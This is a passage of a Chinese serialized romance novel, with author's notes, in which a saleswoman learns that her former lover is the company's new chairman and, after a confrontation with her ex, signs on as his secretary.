这还是她头一回来董事长办公室在的楼层,这一层看着比他们那几楼宽敞气派多了,一出电梯就是一个展面极长的前台,两旁摆着的绿植都比他们办公室里的更加油绿繁茂。 在前台招待的同事是服务部门的,显然是认识梁如薇,朝她们鞠了个躬后,领着她们去了办公室。 这会办公室的门紧闭着,里头应当还有人,招待员引导她们在门口的沙发上稍坐一会,端了两杯温开水来。 董事长办公室的旁边还建了个小办公室,八成是特助和董秘的,里面空空如也,沈孟青想,大概是这新董事长刚上任,还没来得及招人。 梁如薇喝了口水,这才想起来问她说:“你来这是?” “我的离职流程被董事长卡住了,他说要找我面谈。”沈孟青尴尬地说。 梁如薇手一顿,眸里闪过一抹暗色,清了清嗓道:“原来是这样啊。” 她把杯子放回桌上,见沈孟青有些局促不安,笑着说:“你不用紧张,反正要离职了,他问你什么你就如实作答,他……人不难相处的。” “你等会见了就知道了。”梁如薇说。 听梁如薇这话,她似是和这位董事长很熟,沈孟青相信她,心里安定了几分。 约摸过了十几分钟,门骤然一开,沈孟青心跳一停,里头走出来一男一女。 女人是人事部的经理礼帆,沈孟青认识,男人看着面生,她静静旁听了会这两人说话,揣测出男人是董事长特助。 梁如薇松松裤腿,站起来说:“陈特助,我能进去了吗?” “可以了梁经理,余董在里面等你。”陈特助回话说。 梁如薇抬脚离开前,拍了拍沈孟青的肩。 沈孟青有点茫然地看向礼帆,礼帆才发觉她坐在这,几步走到她身旁坐下说:“你再等等,等梁经理汇报完了,就到你的面谈。” “好。” 她按了按有些泛酸的太阳穴,早知道不这么快来了。 门又重重关上,扬起一阵风,地面一粒灰尘都没有,干干净净的。 礼帆陪着沈孟青在外面等,时不时抛出些话题和她聊天,都是围绕销售部日常工作的,沈孟青疲于应付,现在这些问题就够难回答了,等会面对董事长,指不定会问得她哑口无言。 又过了一会,礼帆的连环提问终于被再次打开的门打断。 沈孟青努力做了一番心理建设,亦步亦趋地跟在礼帆身后往董事长办公室走去。 礼帆轻敲了下门,说了声:“余董,销售部的沈孟青来了。” 而后,她才领着人走了进去。 沈孟青一进办公室,映入眼帘的是一块巨大的落地窗,层高太高,城市的景致和格局一览无遗,尽收眼底,每一处错落的公路,交杂的高架桥,高高低低的现代建筑,和参杂其中的绿化,构成了一幅震撼人心的城景拼图。 这就是董事长办公室的建标吗,沈孟青在心里惊叹。 她移开眼,顺着礼帆的方向看去。 宽大的大理石办公桌后,有一西装革履的男人坐在椅子上,面朝着窗外的景观,拿背对着她们。 他的背影看起来很年轻,后脑勺的头发利落短碎,脖颈白皙,肩膀平直,腰部收窄,修身的西装凸显出了他略有锻炼痕迹的好身材,气质瞧着冷峻贵气。 他手里捏着张纸,垂头不知道是在看楼下川流不息的车潮,还是在仔细读纸上的字。 “你先出去吧。” 男人音色低沉,甚至落在沈孟青耳朵里有一丝熟悉。 奇怪,她为什么会有这么强烈的熟悉感。 沈孟青眨眼看着礼帆走了出去,带上了门,她又开始紧张起来。 她咽了口口水润润嗓子,出声说:“余董您好,我是销售部的沈孟青。” “嗯。” 不对,这声短促的嗯更加让她感觉听过无数遍。 椅子上的人转过身来,一双漠然的眸子透过银边眼镜朝她看来。 沈孟青也说不清她当下和余辛对视上的那一秒,是什么感受。 她只觉得大脑空白了很久,耳边仿佛耳鸣了似的一直在嗡嗡作响,维持整个身体运转的零件生锈了般,一时间宕机卡住。 随即,像是有人猝不及防地从她头顶浇了一盆冷水下来,她彻头彻尾地被这盆冷水浇湿,不停地打颤。 她下意识地后退了半步,高跟鞋敲在地面上,发出清脆的声响,碾碎了她过去半年的全部认知。 原来,余辛就是前董事长的儿子。 难怪会在这栋写字楼遇见过他那么多次,难怪前段时间他父亲也生病了,难怪他说有事情瞒着自己。 她脑中闪回出无数过往生活的片段,从里头搜刮了一箩筐被遗漏的细节,这才醒悟到自己被蒙蔽了多久。 放眼望去,坐在椅子上的余辛陌生又疏离,她站在这位位高权重的贵公子面前,像个被愚弄的小丑一般。 在进来前,她还打了半天腹稿,预想着新上任的董事长会问她些什么问题,就连方才的自我介绍,此时此刻都显得可笑极了。 沈孟青浑身发冷,不等余辛开口,她声音极轻地说道:“骗我很好玩是吗。” 她从一开始就告诉了余辛自己在愈生工作,而余辛呢,隐瞒了这么久身份,以前待在一起的时候,他是不是觉得自己像个傻子。 两人相隔了一段距离,空气凝固住,气氛紧张得连墙角的飞虫都紧紧贴着地面,怕被殃及。 余辛把人事打印好的辞呈往桌上一放,沉沉说道:“不管你信不信,我想向你坦白过很多次,包括昨天晚上。” 沈孟青嗤笑了声:“但你还是没说不是吗。我记得我说过,我不喜欢别人骗我。” “所以,你这次找我来是做什么,摆你董事长的威风吗?”她整个人被失望和愤怒占满,一说话字字句句带着刺,胸脯剧烈地起伏着,呼吸急促。 余辛将手搭在桌上,目光紧锁在她身上:“来挽留你。” 沈孟青气笑了:“挽留我?” 她气血翻涌,往前走了几步,伸手撑在办公桌上,俯视着余辛说:“你以什么身份挽留我,曾经的炮/友,还是愈生的董事长?” 余辛缄默了会,指尖点了下她的辞呈,无视她的怒火,淡淡然说:“在这当然是谈公事,你先坐。” 他想平心静气地谈一谈。 但沈孟青诚然不想听他的话,眼神锋利地注视着他,倾身在桌子前。 余辛只好望向她道:“我知道你在销售部门经历的事情,策划方案被同事窃取得奖,梁军故意破坏你的业绩,找理由转移你的客户给其他关系户,无理由地卡你转岗流程,还有其他的一些事,我就不再赘述了。” 沈孟青看着他的视线如一把尖锐的刀刃,她愠意更甚地说:“所以,从认识你到现在,你明明知道我遭遇的这些事情,还一直以旁观者的身份来看我职业上的挫折和难堪是吗?” 余辛眉骨一皱:“沈孟青,我之前确实什么都做不了。” “那你至少可以告诉我你的身份,而不是什么都清楚却什么都不说,这样显得我很愚蠢。”沈孟青紧咬着牙床。 余辛从手边的文件夹里抽出沓资料,递到沈孟青面前,说: “所以,我想补偿你,如果你愿意留下的话。虽然我现在被股东盯得紧,还没办法大张阔斧整顿公司,但是你经历过的事在公司里不是个例,我想让那些人得到应有的处罚,也需要你的帮助。” 沈孟青不想接他的茬,没有说话。 “你先看看,好吗?” 余辛语气放软了些。 沈孟青依旧未动,余辛便直接解释给她听:“我想聘请你做董事长秘书。” “秘书?”沈孟青蹙眉说道。 “对,你去叁通是应聘的董助,我同样也能给你秘书的位置,而且薪资至少是他叁通的两倍。”余辛说道。 沈孟青冷静地问他:“为什么是我?” 余辛反问道:“你来公司几年了。” 沈孟青说:“将近五年。” “公司里最核心的部门是什么?” “销售。” 余辛直直迎上她的目光,无声地说这些就是原因。 他又说道:“况且,你应该也清楚,我这刚走马上任,很多股东不服,塞了不知道多少人进来,用别人我不放心。” “至少,我和你最熟。”余辛说。 他这话听着十足的讽刺,沈孟青松开手,充满距离感地站直了说:“我可不这么认为,在我眼里,你现在陌生得很。” 余辛把打印好的协议摊开,又放了支黑笔在旁边,说道:“我不急,你可以详细看看这份协议。” 沈孟青看都不看桌上的东西一眼:“我不愿意。” “余辛,我不需要你的补偿,我只想你现在就把流程批了。而且,你欠我的不是做秘书薪资多出来的钱,而是道歉。” 沈孟青目光灼人,胸膛里有团熊熊烈火噼里啪啦地烧着。 余辛眼梢一垂,认真地说:“对不起,我不该瞒着你,应该早点和你坦白的。” 收到了这句道歉,沈孟青也没有要原谅他的意思,头也不回地出了办公室。 她窝着火,眉目飞扬,礼帆和那位陈特助就在门口等着,见她快步生风地出来,礼帆张了张嘴,似是想问她些什么,奈何沈孟青的步伐迈得太大,还没来得及问,她人就走远了。 礼帆摇摇头,在心里暗道,好像每个离职的同事在离开前都有这么拽的时期。 …… 陈墨见沈孟青走的时候脸色极差,就知道余辛根本没谈妥。 他走进办公室,余辛坐在椅子上,眉头紧锁,垂眸盯着桌子上的协议思索着。 “人没答应?”陈墨在余辛面前站定,问道。 余辛头都没抬,冷冷嗯了声。 陈墨观察了下余辛的神色,不解地说:“为什么一定要是她,我可以再给你筛一批人。” 为什么一定是她。 余辛在心里重复了遍这句话。 他烦躁得很,抬手扯松了些颈前的领带,从椅子上站起来,转身看向玻璃外被阳光照得粼粼生光的景色。 昨天和沈孟青见面之后,他的心像是被人凿出个洞剜走了一块般,任他怎么努力也填不上,四面八方灌着风,刮得他生疼。 她倒是潇洒得很,可以对他说来就来说走就走。 余辛搭在椅背上的手渐渐用力,仿佛想要攥紧什么东西般。 他向陈墨问道:“晚上的酒局到几点。” 陈墨说:“九点左右。” “好。”余辛拿起外套,“酒局结束后你先回去吧,我要去个地方。”—— 作者有话说:掉马噜掉马噜! 余霸总袭来—— 表面风光华丽实则搞不定老婆[菜狗] 辛子不会真的卡阿青的流程!下一章就会写到的~ 我当时离职的时候也有hr和区域经理的离职面谈,所以算是借鉴了下真实事件哈哈哈 第39章 第三十九章 你觉得我会爱上你吗?…… 重新回到了工位, 沈孟青身体里那翻涌的怒火才平息了些。 她忽然后知后觉地意识到,方才,她在愈生医药的董事长办公室里, 盛气凌人地和新上任的董事长拍案叫板。 沈孟青看见手边盛满的水杯, 三两下拧开杯盖,咕嘟咕嘟把一杯水灌到见底。 所以, 在这半年里, 她一直撩拨的是愈生公司的太子爷, 和他把接吻上/床等等除了恋爱之外的事干了个遍, 还某种程度上,对他始乱终弃了。 这种感觉就像是自己随手在路边捡了一条小土狗, 养了半年多, 摇身一变成了千金难求的赛级犬。不,这个比喻甚至还不够准确, 毕竟狗做不了她公司的董事长。 她忿忿地举起笔, 在白纸上戳出个洞来。 早知今日,在半年前的那个雨天,她说什么也不会见色起意,鬼迷心窍, 朝余辛要他的联系方式。 沈孟青止不住懊悔地回想, 心里愈发的烦郁。 他们本该不会再见面的, 可余辛身份摆在这, 即便是她去了楚城,跟在杨川身边, 见面的次数只多不少,怕是以后在午夜梦回里,她都会记起自己和余辛做过的那些事。 沈孟青有点崩溃, 她怪自己没有留个心眼,这么多巧合都没有发现,更痛恨余辛不对她坦诚相待。 而且,余辛想挽留她又是什么意思? 说实话,愈生的董秘岗位是可遇不可求的,就算她再想回楚城,有这种机会摆在她面前,她自然无法控制地会心动,更别说余辛开出的高薪待遇了。 她往后还是在医药行业深耕,选择去楚城的最大原因其实是她的职业瓶颈,在北城,她看不见更好的未来。 可是现在,余辛丢给了她一个充满诱惑的香饽饽。 沈孟青正埋头想着,电脑屏幕上陡然弹出一条新消息通知,将她拉回现实。 她点进去一看,是自己的离职流程走完了。 看来,余辛还是选择了放她离开。 沈孟青往椅背一靠,深呼吸了几下,纷杂的思绪渐渐消散。今天发生了太多事,一件件入室抢劫般搜刮光了她所有的气力。 到了下班的点,她和姜羽约在停车场见面,今晚她们打算去的酒吧依旧是HERBERRY。 坐上副座后,沈孟青边划拉着手机屏幕,边淡淡地说:“我的离职流程批完了。” “那是好事呀!”姜羽笑着踩下油门,汽车闷鸣。 从明亮的地下停车场出来,天色已经昏暗下来,一望无际的幽深,路灯一盏盏点缀在漆黑的天幕下,照亮一小团一小团的光明。 沈孟青面色不变地说道:“今天不是小余总来公司上任么,正好我的离职流程还在走,他就找礼帆喊我去面谈了。” 姜羽闻言,略带嫌弃地说:“没想到,他还这么形式主义呢。” 沈孟青有点想笑,她偏过头,静静地盯着姜羽看,一言不发。 姜羽感觉到她的目光,飞快地瞥了她眼,摸不着头脑地说:“怎么了,你这样看着我怪吓人的。” “你是不是有什么事瞒着我?”沈孟青含糊地说。 姜羽不解地说:“我怎么会有事瞒着你呢,我不是每次有事都第一时间和你分享吗,你……” 等等。 前头是红灯,姜羽猛然踩下刹车。 惨了。 沈孟青见到了余辛,那也就意味着,她知道了自己和余辛是早就相识的老同学关系,知道了她一直帮余辛遮掩身份。 姜羽尬笑了几声,眼珠一转,立马甩锅说:“都是余辛威胁我,那次你在酒吧见完客户喝醉酒,我本来第二天睡醒的时候想和你坦白的,是他给我发了好几条消息,不让我告诉你。” “他不让你说你就不说了,我们这么些年的交情呢!” 沈孟青说完这话,觉得好像底气不足,算起交情,人家认识了十几年,她补上一句:“老同学不会比闺蜜还重要吧?” 姜羽这会认错态度很好,句句顺着沈孟青的话说:“那当然是闺蜜重要了!在那之后我也想告诉你过,但是你们不是好像没什么来往了吗,我就想着也没必要说,不然事情还更复杂了。” 沈孟青眼前一黑。 如果只是简简单单的没什么来往就好了。 她眼下也没办法和姜羽细说自己和余辛这半年内发生的事,只能把气闷吞进肚子里,缩在座位里自个儿消化。 姜羽默默地开了十几分钟车,见沈孟青没再生气了,小心翼翼地开口问道:“所以他找你面谈,你们聊了什么?” “想知道?”沈孟青整个人往后倒着,眼里映出窗外灯火阑珊的景致。 姜羽点头说:“想。” 沈孟青:“那今晚你请客。” 姜羽豪气地说:“这还用说么,必须请我好姐妹。” 沈孟青转回了头,看向前头悠长的马路说:“他让我留下来做他秘书,还给我加了工资,说比叁通给董助开的两倍还多。” “卧槽!” 姜羽忍不住爆粗,她在心里琢磨着,余辛他不是脑子抽风了,就是对沈孟青有意思,虽然她姐妹的能力完全能匹配秘书岗位,但这开出的工资快赶上部门经理级了吧。 她干咳了几声,迫不及待地说:“你答应了吗?” 沈孟青说:“没有,我刚不是说了吗,离职流程已经走完了。” 姜羽看向她的眼神充满钦佩:“这种诱惑你都能扛住。” 沈孟青扯了下嘴角,但凡顶头上司不是余辛,她早就扛不住了,屈服在金钱的淫威下。 到了HERBERRY,两人进店坐下,桌上的水果根据时令换了一批。 沈孟青随手一指,选了黑桑葚,黑莓,黑葡萄。 调酒师做完一杯杯五彩斑斓的果酒端上台,只有沈孟青这杯,是如墨汁般的黑,和女巫的毒药似的,一口下去见血封喉。 姜羽在一旁啧啧感叹说:“阿青,你要黑化啊。” 沈孟青浅浅酌了一口,甜味占比很少,更多的是酸涩口感,和她当下的心情一样。 两人有一搭没一搭地聊着,工作日的晚上店里人不多,有些冷清,加上明天还要上班,喝酒的兴致不算高,没喝太久,两人就结束了这场酒局。 打上网约车回家后,沈孟青在接近小区门口时望了眼便利店,想照旧买点吃的喝的解解酒。 但是,她转而想到第一次和余辛见面就是在这里,便有些迁怒到便利店,连带着看它也不顺眼了,下车直接回了家去。 她今晚选的基酒酒精浓度比姜羽那杯要高一些,脸上源源不断地生热,头也略有些晕,还好,没到影响她大脑思考的程度。 进电梯后,沈孟青偏头靠在墙壁上,用墙板的冰凉让自己清醒些。 门一开,沈孟青抱着包走了出去,走道的灯一路亮到头,她看见自己家门口站了个人。 这熟悉的场景让她恍惚了下,心脏突然和小鹿一样在胸膛里毫无章法地乱撞。 沈孟青走近了几步,在她看清了来人后,心跳霎时间回归了正常的频率。 “你来做什么?” 沈孟青不耐烦地对林向阳说道。 林向阳还是白天那身西装,估计刚陪完万珍就见缝插针地来找她了,真是时间管理大师。 他见沈孟青双颊微红,眸子里还盈着水雾,了然地问她说:“你喝酒了?” “嘁。”沈孟青觉得他有病,“你有事没事,没事快滚。” 林向阳深吸了口气,正色问她:“你真要回楚城?” “是啊,辞职流程都走完了,要我翻出来给你看吗?”沈孟青掏出手机,作势就要找证据出来。 “不用。” 林向阳面色暗暗,眼神里似是揪着股劲:“既然你愿意回楚城,那你当初为什么不答应我的求婚,和我一起回去?” 沈孟青笑出了声:“林向阳,你这是在算什么老黄历的账呢?我就算那个时候想回楚城了,也不一定就要答应你的求婚啊,这完全是两件事。我看你还得感谢我呢,要不是我没答应你,你能傍上宏图资本?” 林向阳语气隐忍:“你以为我想吗?” “谁逼你了?”沈孟青翻了个白眼,最后一点耐心都被他磨没了,“你还真是不断刷新我的认知,虽然万珍一身大小姐的臭毛病,但她至少够真实,你这种欺骗她感情的行为更让人恶心一万倍。” 沈孟青这话掀开了他的遮羞布,林向阳怒意上头,瞬间变了脸,和求婚失败那天暴起扔东西一样,愤懑地重重握拳砸了下她家的门。 沈孟青被这声巨响吓得一抖,醉意连带着脸上的血色褪了一大半,紧紧握着手机,打算一有不对劲就报警。 借着灯光,她看见林向阳双眼充血般泛起红色,胸膛大幅度地起伏着。 他死死盯着沈孟青,缓缓将胳膊放下,一步步朝她逼近。 就在沈孟青快要被逼至墙角退无可退时,不远处传来了电梯门打开的声音,沈孟青看准林向阳身边的空档,使出全身的力气一把推开他,急切地朝电梯间狂奔而去。 跑到拐弯处,她眼前一暗,结结实实地撞入一个人怀里。 她还没抬头,比来人的面容先让她感知到的,是那阵挟裹着雨滴的青木香。 缺失的一角。 此时此刻,当她恐惧慌乱的心被这抹令人安定的气息填满时,她有点理解了这个名字的含义。 她纤细的腰肢被人结结实实地半揽住,沈孟青搁着西装面料,抓住余辛清瘦却有力的胳膊,呼吸带喘地抬头看向他,落入那双浅棕色的瞳孔里,周遭好像安静了下来,她逃入了他划下的空间。 余辛见她神色不对劲,沉沉问她:“怎么了?” 下一秒,他看见了怒不可遏的林向阳,顿时明白了方才的情形。 他维持着半搂住沈孟青的姿势,甚至手上的力道还紧了几分,高居上位的气场尽显,语气冰冷又含着警告地问林向阳说:“你想做什么?” 林向阳捕捉到了余辛微不可察的失控,反倒笑了起来,狠狠看着沈孟青说:“你果然勾搭到了他,还好意思站在道德高点来谴责我。” “你嘴巴放干净点,我不介意替万珍来管教下她软弱无能的男朋友。” 余辛的脸色晦暗,压迫感十足,林向阳不敢和他硬碰硬,话锋一转说:“你知道沈孟青有个靠她吃饭的小白脸男友吗?听说,这软饭男为了面子,还租劳斯莱斯去同学聚会接她,这种朝三暮四的女人你也碰?” 林向阳这话一出,余辛察觉到臂弯里的人身子一僵。 他迅速回忆起了这段经历,冷笑着说:“那又怎样?” 林向阳:“?” “她沈孟青是什么样的女人我自有判断,但我知道,说话脏还瞧不起女人的男人,做事做人只会比嘴巴更脏。”余辛斜斜睨了他眼,“你要是还不走的话,我可以给万珍打个电话,让她亲自来接一下她这位乱跑的男朋友。” 万珍显然成了林向阳束手无策的软肋,他咬牙切齿地瞪了这两人一眼,丢了一句没什么杀伤力的你们等着,就进电梯走人了。 四下彻底沉寂下来,沈孟青挣脱开余辛的手。 她整理了下情绪,仰头冷淡地问他说:“余总又是来做什么的?” 余辛听得出来她还在生气,说:“找你聊点事。” “那你说。” 沈孟青后退几步靠在墙上,对他说道。 余辛左右看了看,问道:“不进去说?” 沈孟青态度坚决:“就在这说。” 余辛:“你确定?那你要不在这给我解释下小白脸男友和软饭男的事。” “你都还没给我解释凭什么瞒着我呢!” 沈孟青音量抬高了些,她话音刚落,斜对面邻居打开门走了出来。 邻居一眼瞧见了上回见着的那位高冷帅哥,哟了声朝沈孟青说:“你弟弟又来找你啊。” 沈孟青:“……” 她跺跺脚,给了余辛一个眼神,余辛立即会意,跟在她身后进了房门。 沈孟青进门倒了两杯水,往茶几上一放,她在沙发上坐下,岔开了方才的话题:“你要聊什么。” 余辛把手里的文件夹递给沈孟青:“看看。” “……我流程已经走完了。”沈孟青提醒他说。 怎么还想着来诱惑她。 余辛喝了口水,说:“我知道,但公司应该没有规定说不能聘用离职过的人吧?” 他这话有点好笑,一公司董事长,还反问起她公司制度了。 沈孟青忍住掀开协议的手,说:“别的不说,你真的认为我能来做你秘书?” “为什么不可以。”余辛抱起胳膊,一副松松懒懒公子哥模样,变成董事长之后,人看着是矜贵了不少。 他说:“我已经让人事调取过你这几年的工作档案了,据我的判断,你的能力绝对胜任。除非,你对自己不自信。” 言下之意,就是他的判断不可能出问题。 沈孟青徐徐舒了口气,那些压下的酒意又不知何时钻进了她的血液里,倒流上她的脑袋。 “我说的不是这个意思。”她轻声开口说。 余辛疑惑道:“那是什么?” 她注视着余辛:“那我就直说了。” “我们之前经历了那么多,发生过那么多次关系,如果我来做你的秘书,必然每天都要待在一起,余辛,你真的不介意吗?” 听了她这话,余辛莫名其妙地勾了勾唇角,说:“原来,你担心的是这事啊。” 他倾身向前,眸里的暗色快要将沈孟青吞噬:“沈孟青,我有自信和你正常相处,在工作中绝对不会受一分影响。怎么,你没有这种自信吗?” “还是说,你做不到的原因是,对我心动了?” 余辛声音低沉暗哑,字字句句落入沈孟青耳朵里,像是蛊惑人心的魔音。 沈孟青否认得极快:“我才没有。” 余辛步步紧逼道:“那你有什么好怕的,你觉得我会爱上你吗?” 沈孟青和他说不清楚,有些事情,还是要身体力行,才能让他深刻地明白。 她心一横,伸手搭上余辛的后颈,他刚剪短的头发还有些扎手,沈孟青微微用力,向前覆上了他的唇。 唇瓣不过相贴了一瞬,她就回归了原位。 这是一个毫无情欲只有探究的吻。 她冷静地说:“余辛,你真的能做到毫不动摇?” 余辛轻笑了声,反而拽住沈孟青的手腕,将她拉近。 眸里的人影随着距离逐渐放大,这一回,是沈孟青偏开了头。 余辛松手放开她,全然是胜利者的姿态。 他说:“你看,做不到的是你,所以你不敢。” “放屁!” 也不知哪来了一阵邪风,刮得沈孟青从脚到头生起一团火,在酒精的泼洒下愈烧愈烈,把她脑子烧成了浆糊。 她一把抓起余辛准备好的笔,飒飒几笔在最后一页签下她的名字。 “来就来,咱们走着瞧!”—— 作者有话说:有点对抗路情侣了 阿青,你好像中了某人下的圈套了! 两个人一个比一个自信,仿佛签的其实是谁先对对方心动谁就输了协议[墨镜] 捧着爆米花坐等余总打脸追妻[害羞] 第40章 第四十章 沈小姐现在是我的秘书。 嘭的一声, 门被人关上,余辛的脚步声渐渐飘远。 屋子里悄无声息,剑拔弩张的氛围眨眼间消散, 沈孟青筋疲力竭地倒在沙发上, 看向自己刚签完字的右手。 她明明还没有原谅他,是不是答应得太草率了。 从余辛进门后, 还没和他聊上几句呢, 甚至都没好好深入谈谈对于这个岗位的规划, 也没详细看看协议里的规约, 她怎么就上头签下字了呢。 一定是喝了酒的缘故。 沈孟青拆下脑袋后的发绳,抓了抓胡乱缠绕在一起的头发。 所以, 余辛以后就是她直接上司了。 他们之间的关系简直比她这一团糟的头发还复杂, 沈孟青把两根发尾打结的发丝硬生生扯开,刺得她头皮一痛, 倒吸一口冷气。 曾经, 牵连他们的那根线是身体需求,而现在,转变为了工作,现实点说就是金钱。 沈孟青转念一想, 这样其实更好, 公司里同事间的界限十分明确, 都是公事公办, 比起不清不楚的身体关系要简单得多。反正只会在工作上和他产生交集,来活就好好干没活就摸鱼, 聊的也都是不掺任何情感的公事,她只需要把他当作一个发薪水的上司就行。 况且还比之前多了不少钱,忍忍也不是不行。 船到桥头自然直, 以后见招拆招就是,和余辛相处这么久了,她也大概摸清楚了他的脾性,不会有事的,干不下去的话大不了再辞职一次。 沈孟青分析了半天,等心里的忐忑被压下去后,才从沙发上起身去洗漱。 …… 虽然要任职董事长秘书了,但沈孟青销售部的收尾工作还没移交完,人事系统上还挂着她半个月后的离职日期。 这事还没几个人知道,礼帆让她同步到董事长办公室报到,熟悉下业务,不过正式的入职手续得在离职日之后才能办理。 沈孟青仔细一想,那这不是少了她半个月的钱吗,她还得一个人干两份工,都还没清闲够呢。 协议还是签早了。 她找时间给叁通的HR打了个电话,说明了下情况后礼貌婉拒了offer,HR表示很可惜,但也理解她的选择,还顺便悄悄透露了下杨川对她的表现很满意。 未来应当还有机会见到杨川,沈孟青决定下回当面和他道谢。 这天下午,陈墨作为特助,约了下她的时间,打算给她讲解工作。 沈孟青拿着笔记本坐电梯上去,提前到了她订好的董办专属的会议室。 她坐在椅子上没等多久,门就被人打开,走进来俩人。 沈孟青怔了一瞬,而后站起身,招呼说:“余总好。” 这陌生的称呼她对着余辛真是念不顺口,而且,他怎么来了,陈墨不是说就他和自己两个人么。 余辛点了下头,说:“我赶时间,具体的等会陈墨和你说。” 他拿出手机,屏幕上亮着个二维码,他用指尖在上头轻轻点了点:“加我,这是你的第一个任务。” “……好。” 沈孟青犹如被回旋镖扎中一般,急忙掏出手机,扫下了余辛的名片。 她甚至都没删当时的聊天框,余辛单删她的记录还明晃晃地挂在上头,沈孟青点下添加好友,暗骂了他一句。 余辛看起来确实很忙,他当场通过了沈孟青的好友申请后,就直接离开了。 陈墨将准备好的PPT投影在屏幕上,开始了他的讲说。 PPT的开头部分是一整页对于余辛的介绍,被陈墨做得和网页里的百科似的。认识了这么久,一整页余辛的信息里,沈孟青也就只知道个性别和生日。 他本科和硕士是在国外读的,都是qs前几的学校,在校期间他有过很多次创业,涉足十几种不同的行业,虽然很多专业领域的英文术语沈孟青不太了解,但也能看得出,他的这些经历含金量十足。 看来他上回说的在投资公司,也不算是假话,难怪他这个年纪能没出什么差错地接下愈生。 余辛的个人信息部分很快过去,之后就是详尽的公司业务相关阐述和岗位职责了,陈墨这人看着一板正经,说话也和机器人似的,除了词句间的停顿外,一点感情都没有。 他喋喋不休说了快一个小时后,才终于把PPT翻到了头。 在最后,他背对着变暗的屏幕,对沈孟青说: “总之,在老板有需要的时候,如果我不在,你必须在他身边。” 沈孟青看向他饱含使命感的眼神,咽了下口水,点点头说:“好的。” 陈墨收起电脑:“你可以回去了。” 在回销售部的路上,沈孟青恰巧又遇到了梁如薇,她要去找梁军谈事。 梁如薇见到她,笑着说:“恭喜晋升啊。” “谢谢。” 沈孟青说完,倏地回忆起她和余辛的关系,抬头看向她道:“所以您和余总是……” “我是他妈妈那边的远房亲戚,他其实不怎么喊我表姐。”梁如薇耸耸肩,“你不用对我喊您,我部门的人都对我直呼你的,我没那习惯。还有,我和余辛的关系,还请你帮我保密。” “我会的。” 出了电梯,沈孟青看着梁如薇的背影,忽而意识到好像从没听余辛提起他妈妈,但是看他和梁如薇关系不差,按理说,和妈妈应该还算亲近才对。 可能他认为没必要对她说吧,沈孟青晃了晃胡思乱想的脑袋,提醒自己如今余辛只是她的臭冷脸上司,不许对他的私人方面有过多的探究欲。 销售部显然还没人知道沈孟青入职董事长秘书的事,包括梁军,一个个都以为她马上要走了,把她当空气一般。 沈孟青也乐得自在,几个小时内高效率地整理完了自己电脑上的所有资料,打包邮件给了移交的同事。 临近下班时间,她正想打电话给郝奇思,带他下馆子提升一下生活幸福指数,没想到,余辛的电话先切了进来。 他冷淡又带有磁性的声音透过声筒传来,简短地问了她句:“在哪?” “办公室。” 沈孟青还是有点没习惯他融入她的工作场合,总觉得他们是要聊些别的。 余辛那头传来汽车转向灯滴答滴答的声音,他说:“过十分钟后下楼,陈墨晚上有别的事,你和我去一个酒局。” 沈孟青应下:“好。” 挂了电话,她去洗手间补了下妆。 她今天穿的是黑色的V领针织衫,下头搭的毛呢短裙和高筒靴,外套是深灰色的大衣,沈孟青对着全身镜看了眼,还算正式。 十分钟后,她裹着大衣等在楼下,这回余辛换了辆更商务的迈巴赫,停在她跟前的时候,沈孟青差点没认出来。 她拉开门坐上车,望向余辛那张和外头一样挂着秋风的冷酷脸,“老板好”和“余总好”这两句话在她嘴里翻炒了无数遍,还是没能说出口。 沈孟青放弃挣扎,决定不勉强自己,紧抿着唇端坐在副驾驶上。 余辛眉目微挑,手握在方向盘上,也不说话。 坐着坐着,沈孟青忽地发现,是不是应该她这个秘书来开车。 她无声地清了下嗓子,语气疏离地开口道:“余总怎么不请个司机。” “有啊,陈墨。”余辛说。 沈孟青:“……” 陈特助好苦,身兼数职。 她刚被陈墨洗脑完,秉承着作为秘书的责任感,试探着问:“要不,我来开?” 余辛斜睨了她眼,说:“还用不着你。” 行吧,不要就不要,他是老板他说了算。 两人又沉默下来,沈孟青看向窗外一点点暗下的天色,无聊地抬起食指在腿上一敲一敲。 饭局地点是在云栖庄,从入口一开进去,就犹如踏入一处隐世庄园般,四处绿意盎然,令人感觉瞬间回到了春日,还有蜿蜒小山和潺潺流水,意趣十足。 沈孟青听客户提过这人均惊人的餐厅,但还是头一回来。 开往地下停车场的路上,余辛才悠悠然开口说:“今晚这场酒局主要是见愈生合作最多的几个大客户,算是我来公司后第一次正式和他们见面。趁这机会,你也可以在他们面前混个脸熟。” 余辛这话听得沈孟青都有些紧张了,虽然他这个当事人看起来淡定得和回自己家没什么区别。 “你在销售待了几年,有几个你肯定熟,比如宏图资本,不过来的不是万珍,是他哥哥万群。”他话锋一转,“哦,还有个你认识的。” 沈孟青偏过头,疑惑地问他:“我认识的?” “康河医疗器械,李青河。” 他一提李青河,沈孟青就下意识想起上回在更衣室的情形来,不自然地移开了眼,哦了一声。 停好车后,沈孟青跟着余辛坐电梯上了地面,两人穿过一道曲折的幽径,一座独栋小别墅在茂密的竹林里显露出来。 门口站着俩服务员,弯腰将两人请进了房子里。 在云栖庄里,独立别墅是最高级次的包间,低消六位数。 等服务员打开门后,余辛率先走了进去,沈孟青抬眼一看,里头已然有五六个人了。 李青河也到了,正坐在里头喝茶。 这些人里,就他和余辛最熟,所以李青河特意等其他人和余辛寒暄完了,才喝完杯子里的茶,站起身去寻他。 李青河朝余辛点了个头,轻声嗔了句到得晚了点啊。 说罢,他才发现站在余辛背后的身影。 李青河霎时顿住,惊讶地说:“沈孟青?” “好久不见。”沈孟青回了个礼貌的微笑。 李青河本想走到她跟前,余辛却和不长眼似的横出一只手在他跟前。 只是为了抽张纸擦他的手。 李青河脚步停下,隔着余辛问道:“你怎么来这了?” “我……” 沈孟青思索着该从哪开始解释起,余辛突然张口,替她回答说:“沈小姐现在是我的秘书。” “秘书?” 李青河眉头紧皱,不解地望着沈孟青。 余辛微微扬起薄长的眼皮,好整以暇地对李青河说:“怎么,你们很熟?”—— 作者有话说:阿青:我现在只是一个为了钱毫无感情的秘书人《 》 40-50 第41章 第四十一章 狗头上司 “当然了, 上回我带她去玩赛车,你忘了?我们俩的家里人互相都认识,小时候我俩还住一个小区呢。前不久我回楚城, 还和她吃了一次饭。” 李青河不停抛出能佐证他和沈孟青很熟的例子, 余辛就抱着胳膊站在一旁,一言不发地听着, 等李青河说完, 他才淡淡然吐出一句:“挺好。” 沈孟青不想继续这个话题, 此时, 碰巧又进来了两人,转移了余辛和李青河的视线。 这下人到齐了, 饭局正式开始, 沈孟青和其他几个秘书一起坐在尾座,把上头的战场留给各自的老板们。 放眼望去, 这桌上的人就三人最年轻, 除了余辛之外就是李青河和万群。 